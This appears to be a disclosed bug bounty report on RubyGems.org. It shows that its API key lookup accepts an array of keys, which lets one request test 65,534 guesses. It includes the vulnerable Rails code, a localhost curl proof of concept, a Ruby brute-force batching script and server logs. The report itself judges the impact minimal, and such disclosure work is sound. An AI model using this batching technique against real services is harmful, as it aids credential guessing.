RubyGems · Report #449356
65534 times efficient, Brute-force attack for api_key
Validstatus
lowseverity
7upvotes
8 Dec 2018disclosed
How it was found
I have found that type checking for api_key is insufficient in rubygems.org's source code.
https://github.com/rubygems/rubygems.org/blob/master/app/controllers/application_controller.rb#L63
def authenticate_with_api_key
api_key = request.headers["Authorization"] || params[:api_key]
@api_user = User.find_by_api_key(api_key)
end
Using an array in params[:api_key] makes searching for api_key more efficient.
poc
- start server in local
- Access url with multiple api_key
$ curl --globoff 'http://localhost:3000/api/v1/gems?api_key[]=key1&api_key[]=key2'
> Access Denied. Please sign up for an account at https://rubygems.org
rails log
Started GET "/api/v1/gems?api_key[]=key1&api_key[]=key2" for ::1 at 2018-11-24 23:03:30 +0900
Processing by Api::V1::RubygemsController#index as */*
Parameters: {"api_key"=>["key1", "key2"]}
User Load (0.5ms) SELECT "users".* FROM "users" WHERE "users"."api_key" IN ($1, $2) LIMIT $3 [["api_key", "key1"], ["api_key", "key2"], ["LIMIT", 1]]
↳ app/controllers/application_controller.rb:65
Rendering text template
Rendered text template (0.0ms)
Filter chain halted as :verify_authenticated_user rendered or redirected
Completed 401 Unauthorized in 2ms (Views: 0.3ms | ActiveRecord: 0.5ms | Elasticsearch: 0.0ms)
Impact
As a result of trying how much it can be sent using POST, 65534 api_key's could be sent. A postgres error will occur if you send more values.
Here is the script used for confirmation.
require 'net/http'
require 'securerandom'
require 'json'
keys = 65534.times.map{SecureRandom.hex(32)}
# keys = 65535.times.map{SecureRandom.hex(32)} # error
uri = URI.parse("http://localhost:3000/api/v1/web_hooks/fire.json?url=http://example.com/")
http = Net::HTTP.new(uri.host, uri.port)
req = Net::HTTP::Post.new(uri.path)
req["Content-Type"] = "application/json"
req.body = {api_key: keys}.to_json
res = http.request(req)
Attacks against api_key are 65534 times more efficient, but since the string generated by SecureRandom.hex (32) has sufficient length, the impact seems to be minimal.